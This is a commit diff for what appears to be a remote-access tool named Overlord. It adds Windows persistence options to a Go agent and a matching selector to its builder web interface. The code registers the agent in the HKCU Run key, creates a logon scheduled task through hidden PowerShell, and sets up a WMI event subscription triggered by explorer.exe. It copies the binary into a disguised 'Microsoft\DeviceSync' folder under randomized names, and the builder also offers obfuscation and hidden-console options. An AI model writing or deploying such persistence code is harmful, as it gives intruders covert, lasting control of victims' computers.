add more persistence options and fix startup detections. Also bump version to 1.3.5
This commit is contained in:
@@ -17,7 +17,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
var AgentVersion = "1.3.4"
|
var AgentVersion = "1.3.5"
|
||||||
|
|
||||||
var DefaultPersistence = "false"
|
var DefaultPersistence = "false"
|
||||||
var DefaultServerURL = "wss://127.0.0.1:5173"
|
var DefaultServerURL = "wss://127.0.0.1:5173"
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ import (
|
|||||||
"path/filepath"
|
"path/filepath"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
var DefaultPersistenceMethod = "startup"
|
||||||
|
|
||||||
func Setup() error {
|
func Setup() error {
|
||||||
exePath, err := os.Executable()
|
exePath, err := os.Executable()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -5,42 +5,86 @@ package persistence
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/rand"
|
"crypto/rand"
|
||||||
|
"crypto/sha256"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"os"
|
"os"
|
||||||
|
"os/exec"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
"golang.org/x/sys/windows/registry"
|
"golang.org/x/sys/windows/registry"
|
||||||
)
|
)
|
||||||
|
|
||||||
const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
|
const (
|
||||||
const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
|
registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
|
||||||
const startupExecutablePrefix = "ovd_"
|
|
||||||
|
|
||||||
const legacyRegistryValueName = "OverlordAgent"
|
startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
|
||||||
const registryValuePrefix = "OverlordAgent-"
|
|
||||||
|
appDataBinaryDir = `Microsoft\DeviceSync`
|
||||||
|
|
||||||
|
startupExecutablePrefix = "ovd_"
|
||||||
|
taskNamePrefix = "ovd_"
|
||||||
|
|
||||||
|
legacyRegistryValueName = "OverlordAgent"
|
||||||
|
registryValuePrefix = "OverlordAgent-"
|
||||||
|
|
||||||
|
createNoWindow = 0x08000000
|
||||||
|
)
|
||||||
|
|
||||||
|
func activeMethod() string {
|
||||||
|
m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod))
|
||||||
|
switch m {
|
||||||
|
case "registry", "taskscheduler", "wmi":
|
||||||
|
return m
|
||||||
|
default:
|
||||||
|
return "startup"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func getTargetPath() (string, error) {
|
func getTargetPath() (string, error) {
|
||||||
|
switch activeMethod() {
|
||||||
|
case "registry", "taskscheduler", "wmi":
|
||||||
|
return getAppDataTargetPath()
|
||||||
|
default:
|
||||||
|
return getStartupFolderTargetPath()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func getStartupFolderTargetPath() (string, error) {
|
||||||
appDataDir := os.Getenv("APPDATA")
|
appDataDir := os.Getenv("APPDATA")
|
||||||
if appDataDir == "" {
|
if appDataDir == "" {
|
||||||
return "", fmt.Errorf("APPDATA environment variable not set")
|
return "", fmt.Errorf("APPDATA environment variable not set")
|
||||||
}
|
}
|
||||||
|
|
||||||
startupDir := filepath.Join(appDataDir, startupFolderRelative)
|
startupDir := filepath.Join(appDataDir, startupFolderRelative)
|
||||||
if existing, ok := findExistingStartupExecutable(startupDir); ok {
|
if existing, ok := findExistingBinaryInDir(startupDir); ok {
|
||||||
return existing, nil
|
return existing, nil
|
||||||
}
|
}
|
||||||
|
name, err := generateBinaryName()
|
||||||
name, err := generateStartupExecutableName()
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
|
|
||||||
return filepath.Join(startupDir, name), nil
|
return filepath.Join(startupDir, name), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func getAppDataTargetPath() (string, error) {
|
||||||
|
appDataDir := os.Getenv("APPDATA")
|
||||||
|
if appDataDir == "" {
|
||||||
|
return "", fmt.Errorf("APPDATA environment variable not set")
|
||||||
|
}
|
||||||
|
dir := filepath.Join(appDataDir, appDataBinaryDir)
|
||||||
|
if existing, ok := findExistingBinaryInDir(dir); ok {
|
||||||
|
return existing, nil
|
||||||
|
}
|
||||||
|
name, err := generateBinaryName()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Join(dir, name), nil
|
||||||
|
}
|
||||||
|
|
||||||
func getLegacyTargetPath() (string, bool) {
|
func getLegacyTargetPath() (string, bool) {
|
||||||
appDataDir := os.Getenv("APPDATA")
|
appDataDir := os.Getenv("APPDATA")
|
||||||
if appDataDir == "" {
|
if appDataDir == "" {
|
||||||
@@ -49,57 +93,161 @@ func getLegacyTargetPath() (string, bool) {
|
|||||||
return filepath.Join(appDataDir, "Overlord", "agent.exe"), true
|
return filepath.Join(appDataDir, "Overlord", "agent.exe"), true
|
||||||
}
|
}
|
||||||
|
|
||||||
func findExistingStartupExecutable(startupDir string) (string, bool) {
|
func findExistingBinaryInDir(dir string) (string, bool) {
|
||||||
entries, err := os.ReadDir(startupDir)
|
entries, err := os.ReadDir(dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", false
|
return "", false
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, entry := range entries {
|
for _, entry := range entries {
|
||||||
if entry.IsDir() {
|
if entry.IsDir() {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
name := strings.ToLower(entry.Name())
|
name := strings.ToLower(entry.Name())
|
||||||
if !strings.HasSuffix(name, ".exe") {
|
if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, startupExecutablePrefix) {
|
||||||
continue
|
return filepath.Join(dir, entry.Name()), true
|
||||||
}
|
|
||||||
if strings.HasPrefix(name, startupExecutablePrefix) {
|
|
||||||
return filepath.Join(startupDir, entry.Name()), true
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return "", false
|
return "", false
|
||||||
}
|
}
|
||||||
|
|
||||||
func generateStartupExecutableName() (string, error) {
|
func findExistingStartupExecutable(startupDir string) (string, bool) {
|
||||||
|
return findExistingBinaryInDir(startupDir)
|
||||||
|
}
|
||||||
|
|
||||||
|
func generateBinaryName() (string, error) {
|
||||||
b := make([]byte, 6)
|
b := make([]byte, 6)
|
||||||
if _, err := rand.Read(b); err != nil {
|
if _, err := rand.Read(b); err != nil {
|
||||||
return "", fmt.Errorf("failed to generate startup executable name: %w", err)
|
return "", fmt.Errorf("failed to generate executable name: %w", err)
|
||||||
}
|
}
|
||||||
return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
|
return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func install(exePath string) error {
|
func generateStartupExecutableName() (string, error) {
|
||||||
|
return generateBinaryName()
|
||||||
|
}
|
||||||
|
|
||||||
|
func deriveTaskName(targetPath string) string {
|
||||||
|
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
|
||||||
|
return taskNamePrefix + hex.EncodeToString(h[:4])
|
||||||
|
}
|
||||||
|
|
||||||
|
func deriveWMINames(targetPath string) (filterName, consumerName string) {
|
||||||
|
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
|
||||||
|
suffix := hex.EncodeToString(h[:4])
|
||||||
|
return taskNamePrefix + "f" + suffix, taskNamePrefix + "c" + suffix
|
||||||
|
}
|
||||||
|
|
||||||
|
func runPowerShell(script string) error {
|
||||||
|
cmd := exec.Command("powershell.exe",
|
||||||
|
"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
|
||||||
|
"-Command", script)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: createNoWindow,
|
||||||
|
}
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("powershell: %w: %s", err, strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func installStartupFolder(_ string) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func installRegistry(targetPath string) error {
|
||||||
|
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
|
||||||
|
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to open HKCU Run key: %w", err)
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
|
||||||
|
names, _ := k.ReadValueNames(0)
|
||||||
|
for _, name := range names {
|
||||||
|
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
||||||
|
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
b := make([]byte, 4)
|
||||||
|
if _, err := rand.Read(b); err != nil {
|
||||||
|
return fmt.Errorf("failed to generate registry value name: %w", err)
|
||||||
|
}
|
||||||
|
valueName := registryValuePrefix + hex.EncodeToString(b)
|
||||||
|
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
|
||||||
|
}
|
||||||
|
|
||||||
|
func installTaskScheduler(targetPath string) error {
|
||||||
|
taskName := deriveTaskName(targetPath)
|
||||||
|
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||||
|
// Notes on PowerShell parameter syntax used here:
|
||||||
|
// -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit.
|
||||||
|
// -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true);
|
||||||
|
// writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors.
|
||||||
|
script := fmt.Sprintf(
|
||||||
|
`$a = New-ScheduledTaskAction -Execute '%s'; `+
|
||||||
|
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
|
||||||
|
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
|
||||||
|
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
|
||||||
|
safe, taskName)
|
||||||
|
return runPowerShell(script)
|
||||||
|
}
|
||||||
|
|
||||||
|
func installWMI(targetPath string) error {
|
||||||
|
filterName, consumerName := deriveWMINames(targetPath)
|
||||||
|
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||||
|
script := fmt.Sprintf(
|
||||||
|
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
|
||||||
|
`$f.QueryLanguage = 'WQL'; `+
|
||||||
|
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
|
||||||
|
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
|
||||||
|
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
|
||||||
|
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
|
||||||
|
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
|
||||||
|
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
|
||||||
|
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
|
||||||
|
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
|
||||||
|
`$null = $b.Put()`,
|
||||||
|
filterName, consumerName, safe, filterName, consumerName)
|
||||||
|
return runPowerShell(script)
|
||||||
|
}
|
||||||
|
|
||||||
|
func install(exePath string) error {
|
||||||
targetPath, err := getTargetPath()
|
targetPath, err := getTargetPath()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
startupDir := filepath.Dir(targetPath)
|
dir := filepath.Dir(targetPath)
|
||||||
err = os.MkdirAll(startupDir, 0755)
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||||
if err != nil {
|
return fmt.Errorf("failed to create directory: %w", err)
|
||||||
return fmt.Errorf("failed to create startup directory: %w", err)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := cleanupLegacyRunValues(); err != nil {
|
switch activeMethod() {
|
||||||
return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
|
case "registry":
|
||||||
|
if err := installRegistry(targetPath); err != nil {
|
||||||
|
return fmt.Errorf("failed to install registry persistence: %w", err)
|
||||||
|
}
|
||||||
|
case "taskscheduler":
|
||||||
|
if err := installTaskScheduler(targetPath); err != nil {
|
||||||
|
return fmt.Errorf("failed to install task scheduler persistence: %w", err)
|
||||||
|
}
|
||||||
|
case "wmi":
|
||||||
|
if err := installWMI(targetPath); err != nil {
|
||||||
|
return fmt.Errorf("failed to install WMI persistence: %w", err)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Best-effort cleanup of legacy registry entries from older versions.
|
||||||
|
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
|
||||||
|
_ = cleanupLegacyRunValues()
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -139,7 +287,6 @@ func replaceExecutable(exePath, targetPath string) error {
|
|||||||
}
|
}
|
||||||
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
|
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -155,36 +302,43 @@ func configure(exePath string) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := cleanupLegacyRunValues(); err != nil {
|
switch activeMethod() {
|
||||||
return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
|
case "registry":
|
||||||
|
if err := installRegistry(targetPath); err != nil {
|
||||||
|
return fmt.Errorf("failed to reconfigure registry persistence: %w", err)
|
||||||
|
}
|
||||||
|
case "taskscheduler":
|
||||||
|
if err := installTaskScheduler(targetPath); err != nil {
|
||||||
|
return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err)
|
||||||
|
}
|
||||||
|
case "wmi":
|
||||||
|
if err := installWMI(targetPath); err != nil {
|
||||||
|
return fmt.Errorf("failed to reconfigure WMI persistence: %w", err)
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
// Best-effort cleanup of legacy registry entries from older versions.
|
||||||
|
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
|
||||||
|
_ = cleanupLegacyRunValues()
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func uninstall() error {
|
func uninstall() error {
|
||||||
if err := cleanupLegacyRunValues(); err != nil {
|
_ = cleanupLegacyRunValues()
|
||||||
return fmt.Errorf("failed to clean startup registry values: %w", err)
|
|
||||||
}
|
_ = uninstallTaskScheduler()
|
||||||
|
|
||||||
|
_ = uninstallWMI()
|
||||||
|
|
||||||
appDataDir := os.Getenv("APPDATA")
|
appDataDir := os.Getenv("APPDATA")
|
||||||
if appDataDir == "" {
|
if appDataDir == "" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
startupDir := filepath.Join(appDataDir, startupFolderRelative)
|
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, startupFolderRelative))
|
||||||
if err := cleanupPrefixedExecutables(startupDir); err != nil {
|
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, appDataBinaryDir))
|
||||||
return err
|
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord"))
|
||||||
}
|
|
||||||
|
|
||||||
if err := cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
targetPath, err := getTargetPath()
|
|
||||||
if err == nil {
|
|
||||||
_ = os.Remove(targetPath)
|
|
||||||
}
|
|
||||||
|
|
||||||
if legacyPath, ok := getLegacyTargetPath(); ok {
|
if legacyPath, ok := getLegacyTargetPath(); ok {
|
||||||
_ = os.Remove(legacyPath)
|
_ = os.Remove(legacyPath)
|
||||||
@@ -193,6 +347,26 @@ func uninstall() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func uninstallTaskScheduler() error {
|
||||||
|
return runPowerShell(
|
||||||
|
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
|
||||||
|
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
|
||||||
|
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
|
||||||
|
}
|
||||||
|
|
||||||
|
func uninstallWMI() error {
|
||||||
|
return runPowerShell(
|
||||||
|
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
|
||||||
|
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
|
||||||
|
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||||
|
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
|
||||||
|
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||||
|
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||||
|
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
|
||||||
|
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||||
|
`Remove-WmiObject -ErrorAction SilentlyContinue`)
|
||||||
|
}
|
||||||
|
|
||||||
func cleanupPrefixedExecutables(dir string) error {
|
func cleanupPrefixedExecutables(dir string) error {
|
||||||
entries, err := os.ReadDir(dir)
|
entries, err := os.ReadDir(dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -218,7 +392,8 @@ func cleanupPrefixedExecutables(dir string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func cleanupLegacyRunValues() error {
|
func cleanupLegacyRunValues() error {
|
||||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
|
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
|
||||||
|
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if err == registry.ErrNotExist {
|
if err == registry.ErrNotExist {
|
||||||
return nil
|
return nil
|
||||||
@@ -226,7 +401,6 @@ func cleanupLegacyRunValues() error {
|
|||||||
return fmt.Errorf("failed to open registry key: %w", err)
|
return fmt.Errorf("failed to open registry key: %w", err)
|
||||||
}
|
}
|
||||||
defer k.Close()
|
defer k.Close()
|
||||||
|
|
||||||
return cleanupOverlordRunValues(k)
|
return cleanupOverlordRunValues(k)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -235,7 +409,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range names {
|
for _, name := range names {
|
||||||
if isOverlordRunValueName(name) {
|
if isOverlordRunValueName(name) {
|
||||||
if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
|
if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
|
||||||
@@ -243,7 +416,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "overlord-server",
|
"name": "overlord-server",
|
||||||
"version": "1.3.4",
|
"version": "1.3.5",
|
||||||
"private": true,
|
"private": true,
|
||||||
"type": "module",
|
"type": "module",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
|
|||||||
@@ -75,6 +75,18 @@ if (rawServerListCheckbox && serverUrlInput) {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
|
||||||
|
const persistenceMethodContainer = document.getElementById("persistence-method-container");
|
||||||
|
if (persistenceCheckbox && persistenceMethodContainer) {
|
||||||
|
persistenceCheckbox.addEventListener("change", () => {
|
||||||
|
if (persistenceCheckbox.checked) {
|
||||||
|
persistenceMethodContainer.classList.remove("hidden");
|
||||||
|
} else {
|
||||||
|
persistenceMethodContainer.classList.add("hidden");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
async function init() {
|
async function init() {
|
||||||
try {
|
try {
|
||||||
updateServerUrlPlaceholder();
|
updateServerUrlPlaceholder();
|
||||||
@@ -191,6 +203,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
const enablePersistence = form.querySelector(
|
const enablePersistence = form.querySelector(
|
||||||
'input[name="enable-persistence"]',
|
'input[name="enable-persistence"]',
|
||||||
).checked;
|
).checked;
|
||||||
|
const persistenceMethod = form.querySelector('#persistence-method')?.value || 'startup';
|
||||||
const hideConsole = form.querySelector(
|
const hideConsole = form.querySelector(
|
||||||
'input[name="hide-console"]',
|
'input[name="hide-console"]',
|
||||||
).checked;
|
).checked;
|
||||||
@@ -208,6 +221,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
disableCgo,
|
disableCgo,
|
||||||
obfuscate,
|
obfuscate,
|
||||||
enablePersistence,
|
enablePersistence,
|
||||||
|
persistenceMethod: enablePersistence ? persistenceMethod : undefined,
|
||||||
hideConsole,
|
hideConsole,
|
||||||
noPrinting,
|
noPrinting,
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -322,6 +322,30 @@
|
|||||||
>
|
>
|
||||||
</div>
|
</div>
|
||||||
</label>
|
</label>
|
||||||
|
<!-- Persistence method selector – Windows only, shown when persistence is enabled -->
|
||||||
|
<div
|
||||||
|
id="persistence-method-container"
|
||||||
|
class="hidden pl-3 border-l-2 border-orange-500/40"
|
||||||
|
>
|
||||||
|
<label
|
||||||
|
class="block text-xs font-medium text-slate-400 mb-1"
|
||||||
|
for="persistence-method"
|
||||||
|
>Windows Persistence Method</label
|
||||||
|
>
|
||||||
|
<select
|
||||||
|
id="persistence-method"
|
||||||
|
name="persistence-method"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
|
||||||
|
>
|
||||||
|
<option value="startup">Startup Folder (APPDATA)</option>
|
||||||
|
<option value="registry">Registry (HKCU Run key)</option>
|
||||||
|
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
|
||||||
|
<option value="wmi">WMI Subscription (requires admin)</option>
|
||||||
|
</select>
|
||||||
|
<p class="text-xs text-slate-500 mt-1">
|
||||||
|
Method used on Windows; other platforms use their native mechanism
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
<label
|
<label
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
|
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
|
||||||
title="Windows only: build without a console window"
|
title="Windows only: build without a console window"
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ export type BuildConfig = {
|
|||||||
disableCgo?: boolean;
|
disableCgo?: boolean;
|
||||||
obfuscate?: boolean;
|
obfuscate?: boolean;
|
||||||
enablePersistence?: boolean;
|
enablePersistence?: boolean;
|
||||||
|
persistenceMethod?: string;
|
||||||
hideConsole?: boolean;
|
hideConsole?: boolean;
|
||||||
noPrinting?: boolean;
|
noPrinting?: boolean;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -61,10 +61,13 @@ type BuildProcessConfig = {
|
|||||||
disableCgo?: boolean;
|
disableCgo?: boolean;
|
||||||
obfuscate?: boolean;
|
obfuscate?: boolean;
|
||||||
enablePersistence?: boolean;
|
enablePersistence?: boolean;
|
||||||
|
persistenceMethod?: string;
|
||||||
hideConsole?: boolean;
|
hideConsole?: boolean;
|
||||||
noPrinting?: boolean;
|
noPrinting?: boolean;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||||
|
|
||||||
type BuildProcessDeps = {
|
type BuildProcessDeps = {
|
||||||
generateBuildMutex: (length?: number) => string;
|
generateBuildMutex: (length?: number) => string;
|
||||||
sanitizeOutputName: (name: string) => string;
|
sanitizeOutputName: (name: string) => string;
|
||||||
@@ -307,6 +310,11 @@ export async function startBuildProcess(
|
|||||||
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
|
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
|
||||||
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
|
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
|
||||||
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
|
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
|
||||||
|
if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
|
||||||
|
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
|
||||||
|
ldflags = `${ldflags} ${methodFlag}`;
|
||||||
|
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
|
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -46,6 +46,7 @@ export async function handleBuildRoutes(
|
|||||||
disableCgo,
|
disableCgo,
|
||||||
obfuscate,
|
obfuscate,
|
||||||
enablePersistence,
|
enablePersistence,
|
||||||
|
persistenceMethod,
|
||||||
mutex,
|
mutex,
|
||||||
disableMutex,
|
disableMutex,
|
||||||
hideConsole,
|
hideConsole,
|
||||||
@@ -112,6 +113,11 @@ export async function handleBuildRoutes(
|
|||||||
});
|
});
|
||||||
|
|
||||||
const safeNoPrinting = !!noPrinting;
|
const safeNoPrinting = !!noPrinting;
|
||||||
|
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||||
|
const safePersistenceMethod =
|
||||||
|
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
|
||||||
|
? persistenceMethod.toLowerCase()
|
||||||
|
: 'startup';
|
||||||
deps.startBuildProcess(buildId, {
|
deps.startBuildProcess(buildId, {
|
||||||
platforms: allowedPlatforms,
|
platforms: allowedPlatforms,
|
||||||
serverUrl: safeServerUrl,
|
serverUrl: safeServerUrl,
|
||||||
@@ -122,6 +128,7 @@ export async function handleBuildRoutes(
|
|||||||
disableCgo,
|
disableCgo,
|
||||||
obfuscate: !!obfuscate,
|
obfuscate: !!obfuscate,
|
||||||
enablePersistence,
|
enablePersistence,
|
||||||
|
persistenceMethod: safePersistenceMethod,
|
||||||
hideConsole: !!hideConsole,
|
hideConsole: !!hideConsole,
|
||||||
noPrinting: safeNoPrinting,
|
noPrinting: safeNoPrinting,
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1 +1 @@
|
|||||||
export const SERVER_VERSION = "1.3.4";
|
export const SERVER_VERSION = "1.3.5";
|
||||||
|
|||||||
Reference in New Issue
Block a user